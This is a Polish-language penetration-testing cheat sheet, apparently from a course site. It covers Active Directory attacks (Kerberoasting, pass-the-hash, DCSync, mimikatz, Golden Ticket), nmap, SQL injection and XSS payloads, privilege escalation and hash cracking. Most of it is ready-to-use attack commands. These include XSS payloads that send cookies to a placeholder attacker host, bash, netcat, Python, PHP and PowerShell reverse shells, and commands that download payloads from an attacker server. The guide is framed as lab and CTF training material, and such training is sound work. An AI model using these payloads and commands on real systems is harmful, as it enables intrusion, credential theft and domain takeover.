- NTLM — starszy mechanizm; hash NTLM = „hasło" do pass-the-hash.
- LDAP — katalog: użytkownicy, grupy, komputery, atrybuty.
- SPN — Service Principal Name; usługi w kontekście konta (Kerberoasting).
- GPO — Group Policy; błędna konfiguracja = privesc w całej domenie.
Enumeracja domeny
Pierwszy krok po zdobyciu jakichkolwiek poświadczeń (choćby zwykłego usera). Cel: zmapować użytkowników, grupy, komputery i — najważniejsze — ścieżki ataku.
# z Linuksa (Kali) — mając creds usera
$ nxc smb 10.10.10.0/24 -u user -p Pass123 --shares # netexec (d. crackmapexec)
$ nxc ldap DC.corp.local -u user -p Pass123 --users
$ ldapsearch -x -H ldap://DC -D user@corp.local -w Pass123 -b "dc=corp,dc=local"
# zbieranie danych pod BloodHound
$ bloodhound-python -u user -p Pass123 -d corp.local -ns 10.10.10.5 -c all
# z Windowsa
PS> Import-Module .\PowerView.ps1 ; Get-NetUser ; Get-NetGroup "Domain Admins"BloodHound zbiera relacje w AD i rysuje graf: „od tego usera, przez te 3 kroki, dojdziesz do Domain Admina". Zapytanie Shortest Path to Domain Admins potrafi rozłożyć całą domenę. To pierwsze narzędzie, które odpalasz w AD.
Zdobywanie poświadczeń
Kerberoasting
Konta usługowe z SPN można poprosić o bilet TGS, którego fragment jest zaszyfrowany hashem hasła konta — łamiesz go offline. Konta usługowe często mają słabe, wieczne hasła.
$ impacket-GetUserSPNs corp.local/user:Pass123 -dc-ip 10.10.10.5 -request
$ hashcat -m 13100 tgs.txt rockyou.txt # łamanie offlineAS-REP Roasting
Użytkownicy z wyłączonym pre-authentication Kerberos oddają szyfrowany blok bez znajomości hasła — też łamalny offline.
$ impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.5
$ hashcat -m 18200 asrep.txt rockyou.txtRuch boczny (lateral movement)
Mając hash lub hasło jednego konta, przeskakujesz na kolejne maszyny — bez łamania hasła (pass-the-hash) albo z biletem Kerberos (pass-the-ticket).
# pass-the-hash — logujesz się hashem NTLM zamiast hasłem
$ nxc smb 10.10.10.20 -u admin -H aad3b435...:31d6cfe0...
$ impacket-psexec corp.local/admin@10.10.10.20 -hashes :31d6cfe0...
# zdalny shell z creds
$ evil-winrm -i 10.10.10.20 -u admin -H 31d6cfe0...Dominacja domeny
Cel końcowy: konto Domain Admin lub bezpośredni zrzut bazy haseł całej domeny.
# DCSync — udajesz DC i prosisz o hashe (wymaga uprawnień replikacji)
$ impacket-secretsdump corp.local/admin@10.10.10.5 -just-dc
# zrzut lokalnych sekretów / LSASS na przejętej maszynie
$ nxc smb 10.10.10.20 -u admin -H HASH --sam --lsa
# mimikatz (Windows) — wyciąg haseł/biletów z pamięci
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /user:corp\krbtgt # klucz do Golden TicketHash konta krbtgt pozwala wykuć Golden Ticket — dowolny bilet Kerberos, czyli praktycznie nieograniczoną, trwałą kontrolę nad domeną. To „koniec gry". W raporcie oznacza to krytyczny finding i konieczność dwukrotnej rotacji hasła krbtgt.
Źródła
Zebranie danych do BloodHound (bloodhound-python -c all) i sprawdzenie „Shortest Path to Domain Admins". Zamiast zgadywać, dostajesz graf realnych ścieżek eskalacji z tego konkretnego konta.
Kerberoasting celuje w konta z SPN (usługowe) — prosisz o TGS i łamiesz hash hasła konta usługi. AS-REP Roasting działa na kontach z wyłączonym pre-auth Kerberos — dostajesz łamalny blok bez znajomości żadnego hasła. Oba to łamanie offline.
krbtgt to „koniec gry"?[+]Pozwala wykuć Golden Ticket — samodzielnie podpisany bilet TGT na dowolnego użytkownika (np. Domain Admin), ważny latami. To pełna, trwała kontrola nad domeną, niezależna od zmiany haseł userów. Naprawa wymaga podwójnej rotacji hasła krbtgt.
Porty i usługi
Najczęściej spotykane porty w pentestach — co usłyszysz, gdy nmap zwróci „open". Znajomość na pamięć oszczędza mnóstwo czasu przy enumeracji.
| Port | Usługa | Na co zwrócić uwagę |
|---|---|---|
| 21 | FTP | anonymous login, wersja (vsftpd backdoor) |
| 22 | SSH | wersja, słabe hasła, klucze |
| 23 | Telnet | jawny — bannery, creds |
| 25 | SMTP | VRFY/EXPN, open relay, enum userów |
| 53 | DNS | transfer strefy (AXFR), subdomeny |
| 80 / 443 | HTTP / HTTPS | cała powierzchnia web (moduły 8–9) |
| 110 / 143 | POP3 / IMAP | poczta, creds, bannery |
| 111 | RPCbind | rpcinfo, NFS shares |
| 135 / 139 / 445 | MSRPC / NetBIOS / SMB | enum4linux, shares, EternalBlue, null session |
| 161 | SNMP (UDP) | community strings (public), snmpwalk |
| 389 / 636 | LDAP / LDAPS | enum AD, ldapsearch |
| 1433 | MSSQL | xp_cmdshell, słabe sa |
| 2049 | NFS | showmount, montowanie shares |
| 3306 | MySQL | słabe creds, wersja |
| 3389 | RDP | brute-force, BlueKeep |
| 5432 | PostgreSQL | słabe creds, RCE |
| 5985 / 5986 | WinRM | evil-winrm z creds |
| 6379 | Redis | brak auth, zapis kluczy SSH |
| 8080 / 8443 | HTTP-alt | panele, Tomcat, proxy |
| 27017 | MongoDB | brak auth, dump baz |
Nmap
Flagi, typy skanów i przydatne skrypty NSE — wszystko, co realnie używasz w recon-ie.
Flagi
| Flaga | Znaczenie |
|---|---|
-sn | ping sweep (bez skanu portów) |
-sS | SYN scan (half-open, wymaga roota) |
-sT | TCP connect scan |
-sU | UDP scan |
-sV | wykrywanie wersji usług |
-sC | skrypty domyślne (= --script=default) |
-O | wykrywanie systemu operacyjnego |
-A | agresywny: -sV -sC -O + traceroute |
-p- | wszystkie 65535 portów |
-p 80,443 | konkretne porty |
--top-ports 20 | 20 najpopularniejszych |
-T0..T5 | tempo (T4 rozsądny default) |
-Pn | pomiń ping (host „nie żyje" ale odpowiada) |
-oN / -oX / -oG | zapis: normal / XML / grepable |
-oA nazwa | zapis we wszystkich formatach |
--script=vuln | skrypty wykrywające podatności |
Gotowce
# szybki pełny recon (2 fazy)
$ nmap -p- --min-rate 5000 -oN all.txt 10.10.10.5
$ nmap -sV -sC -p $(open porty) -oN deep.txt 10.10.10.5
# skan pod podatności / SMB
$ nmap --script smb-vuln* -p 445 10.10.10.5
$ nmap --script http-enum -p 80 10.10.10.5SQL Injection
Payloady per etap i per baza. Używaj wyłącznie w scope (własne laby, PortSwigger, maszyny CTF).
Wykrywanie i auth bypass
# wykrywanie
' " ` \ # wywołaj błąd
' AND 1=1-- ' AND 1=2-- # boolean
' OR SLEEP(5)-- ' OR pg_sleep(5)-- # time-based
# obejście logowania (username field)
admin'--
admin' #
' OR 1=1--
' OR '1'='1UNION i ekstrakcja
' ORDER BY 3-- # liczba kolumn
' UNION SELECT NULL,NULL,NULL-- # dopasuj kolumny
' UNION SELECT username,password,3 FROM users--
# blind boolean — znak po znaku
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--Składnia per baza
| Cel | MySQL | MSSQL | PostgreSQL |
|---|---|---|---|
| Wersja | @@version | @@version | version() |
| Komentarz | -- / # | -- | -- |
| Opóźnienie | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) |
| Konkatenacja | CONCAT(a,b) | a+b | a||b |
| Lista tabel | information_schema.tables | information_schema.tables | information_schema.tables |
sqlmap
$ sqlmap -u "http://cel/?id=1" --batch --dbs
$ sqlmap -r req.txt --dump -D app -T users
$ sqlmap -u URL --level 5 --risk 3 --batch # głębiejXSS
Payloady od testu po impact i typowe obejścia filtrów. Kontekst decyduje o payloadzie.
Bazowe
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">Wyjście z kontekstu
# w atrybucie
"><script>alert(1)</script>
' onmouseover='alert(1)
# w JS stringu
';alert(1)//
# w href
javascript:alert(1)Obejścia filtrów
# wielkość liter
<ScRiPt>alert(1)</sCrIpT>
# bez nawiasów / bez spacji
<svg/onload=alert`1`>
<img src=x onerror=alert`1`>
# kodowanie HTML/URL encji
<img src=x onerror=alert(1)>
# zagnieżdżony (gdy usuwa "script" raz)
<scr<script>ipt>alert(1)</script>Impact — kradzież sesji
<script>fetch('https://ATAKUJACY/c='+document.cookie)</script>
<script>new Image().src='https://ATAKUJACY/?c='+btoa(document.cookie)</script>Do wykrywania i eskalacji XSS świetnie działa własny listener (np. python3 -m http.server) albo publiczne narzędzia jak XSS Hunter. Zawsze tylko w scope.
Reverse shells
Najpierw listener u siebie, potem payload na celu. ATAKUJACY = Twój IP, 4444 = port.
Listener (u atakującego)
$ nc -lvnp 4444 # prosty listener
$ rlwrap nc -lvnp 4444 # z historią/strzałkamiPayloady (na celu)
# Bash
bash -i >& /dev/tcp/ATAKUJACY/4444 0>&1
# Netcat (z -e)
nc -e /bin/sh ATAKUJACY 4444
# Netcat bez -e (mkfifo)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATAKUJACY 4444 >/tmp/f
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATAKUJACY",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh"])'
# PHP
php -r '$s=fsockopen("ATAKUJACY",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATAKUJACY',4444);..."Stabilizacja shella (TTY upgrade)
# 1. na celu
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z (zawieś), u siebie:
stty raw -echo; fg
# 3. z powrotem na celu:
export TERM=xterm ; stty rows 38 cols 116revshells.com generuje payload w dowolnym języku po wpisaniu IP i portu. pwncat-cs to nowocześniejszy listener z auto-stabilizacją.
Privilege escalation
Szybkie zwycięstwa (quick wins) do sprawdzenia zaraz po zdobyciu shella — Linux i Windows.
Linux — ręczne quick wins
$ id ; sudo -l # co mogę jako root
$ find / -perm -4000 -type f 2>/dev/null # SUID
$ getcap -r / 2>/dev/null # capabilities
$ crontab -l ; cat /etc/crontab # zadania
$ cat /etc/passwd # zapisywalny? writable?
$ uname -a # wersja jądra → exploit?
$ ls -la /home/*/.ssh/ # klucze| Wektor | Sprawdzenie | Eskalacja |
|---|---|---|
| sudo | sudo -l | GTFOBins dla dozwolonej binarki |
| SUID | find / -perm -4000 | GTFOBins → SUID |
| capabilities | getcap -r / | np. cap_setuid na python |
| cron | zapisywalny skrypt w cronie | wstrzyknij reverse shell |
| PATH | skrypt SUID woła binarkę względnie | hijack przez własny PATH |
| jądro | uname -a + searchsploit | kernel exploit (ostrożnie) |
Windows — quick wins
whoami /priv # SeImpersonate → Potato attacks
whoami /groups
systeminfo # wersja → brakujące patche
# unquoted service path, AlwaysInstallElevated,
# stored creds (cmdkey /list), scheduled tasksAutomaty
Transfer plików
Jak wgrać linpeas/exploit na cel i ściągnąć łupy. Klasyka po zdobyciu shella.
Serwer u atakującego
$ python3 -m http.server 80 # serwuj bieżący katalog
$ impacket-smbserver share . -smb2support # SMB dla WindowsPobieranie na cel — Linux
$ wget http://ATAKUJACY/linpeas.sh -O /tmp/l.sh
$ curl http://ATAKUJACY/l.sh -o /tmp/l.sh
$ scp plik user@cel:/tmp/Pobieranie na cel — Windows
certutil -urlcache -f http://ATAKUJACY/nc.exe nc.exe
powershell IWR -Uri http://ATAKUJACY/f.exe -OutFile f.exe
powershell (New-Object Net.WebClient).DownloadFile('http://ATAKUJACY/f.exe','f.exe')Fallback: zakoduj plik base64 u siebie (base64 -w0 plik), wklej na cel do zmiennej i zdekoduj (echo BASE64 | base64 -d > plik). Działa nawet bez narzędzi sieciowych.
Hashcat / John
Najczęstsze tryby -m hashcata i workflow łamania. Słownik domyślny: /usr/share/wordlists/rockyou.txt.
Tryby -m (hashcat)
| -m | Typ hasha |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA-256 |
| 1700 | SHA-512 |
| 500 | md5crypt ($1$) |
| 1800 | sha512crypt ($6$) — /etc/shadow |
| 3200 | bcrypt ($2*$) |
| 1000 | NTLM |
| 5600 | NetNTLMv2 (Responder) |
| 13100 | Kerberoast (TGS-REP, RC4) |
| 18200 | AS-REP Roasting |
| 16500 | JWT (HS256) |
| 22000 | WPA-PBKDF2 (nowy handshake) |
| 16800 | WPA-PMKID |
Workflow
# 1. rozpoznaj typ
$ hashid '$6$xyz...' ; nth --text 'HASH'
# 2. słownikowo
$ hashcat -m 1800 hash.txt rockyou.txt
# 3. słownik + reguły (mutacje)
$ hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 4. brute-force maską (8 znaków, małe litery+cyfry)
$ hashcat -m 0 hash.txt -a 3 '?l?l?l?l?l?l?l?d'
# pokaż złamane
$ hashcat -m 0 hash.txt --show
# John — alternatywa
$ john --wordlist=rockyou.txt --format=sha512crypt hash.txt
$ john --show hash.txtssh2john, zip2john, rar2john, office2john — wyciągają hash z kluczy/archiwów/dokumentów do formatu Johna/hashcata.
Active Directory
Komendy per faza ataku na domenę. Głównie z Kali (impacket + netexec) i z Windowsa (PowerView/mimikatz). Tylko w legalnym scope / własnym labie.
Enumeracja
# netexec (nxc) — szwajcarski scyzoryk AD
nxc smb 10.0.0.0/24 -u u -p p --shares --users --groups
nxc smb DC -u u -p p --pass-pol # polityka haseł
nxc ldap DC -u u -p p --kerberoasting out.txt
# null session / anonymous
enum4linux-ng -A 10.0.0.5
rpcclient -U "" -N 10.0.0.5 # enumdomusers, querydominfo
# BloodHound collector
bloodhound-python -u u -p p -d corp.local -ns DC_IP -c allRoasting (offline crack)
| Atak | Komenda | hashcat |
|---|---|---|
| Kerberoast | impacket-GetUserSPNs -request | -m 13100 |
| AS-REP | impacket-GetNPUsers | -m 18200 |
| NetNTLMv2 | responder -I eth0 | -m 5600 |
Ruch boczny / uwierzytelnianie hashem
# pass-the-hash
nxc smb TARGET -u admin -H NTLM_HASH
impacket-psexec corp/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec corp/admin@TARGET -hashes :NTLM_HASH
evil-winrm -i TARGET -u admin -H NTLM_HASH
# spray hasła po całej domenie (uwaga na lockout!)
nxc smb 10.0.0.0/24 -u users.txt -p 'Winter2026!' --continue-on-successDominacja domeny
# DCSync — zrzut hashy z DC
impacket-secretsdump corp/admin@DC -just-dc
impacket-secretsdump corp/admin@DC -just-dc-user krbtgt
# mimikatz (Windows)
sekurlsa::logonpasswords
lsadump::dcsync /user:corp\Administrator
# Golden Ticket (mając hash krbtgt)
kerberos::golden /user:fake /domain:corp.local /sid:S-1-5-... /krbtgt:HASH /ptt| Narzędzie | Do czego |
|---|---|
netexec (nxc) | enum, PtH, spray, dumping — podstawa |
impacket-* | psexec, wmiexec, secretsdump, GetUserSPNs |
BloodHound | graf ścieżek ataku |
PowerView | enumeracja z Windowsa |
mimikatz / Rubeus | hasła i bilety Kerberos z pamięci |
responder | zatruwanie LLMNR/NBT-NS → NetNTLM |
Certipy | ataki na AD CS (ESC1-ESC8) |
GOAD (Game of Active Directory) stawia gotową podatną domenę na Twoim Proxmoxie — idealne do przećwiczenia całej tej ściągi end-to-end bez ryzyka i za darmo.
Laby — checklista
Konkretne zadania do odhaczenia per moduł. To jest sedno nauki — teoria bez labów nie robi pentestera. Postęp zapisuje się lokalnie w przeglądarce (gdy zhostujesz plik).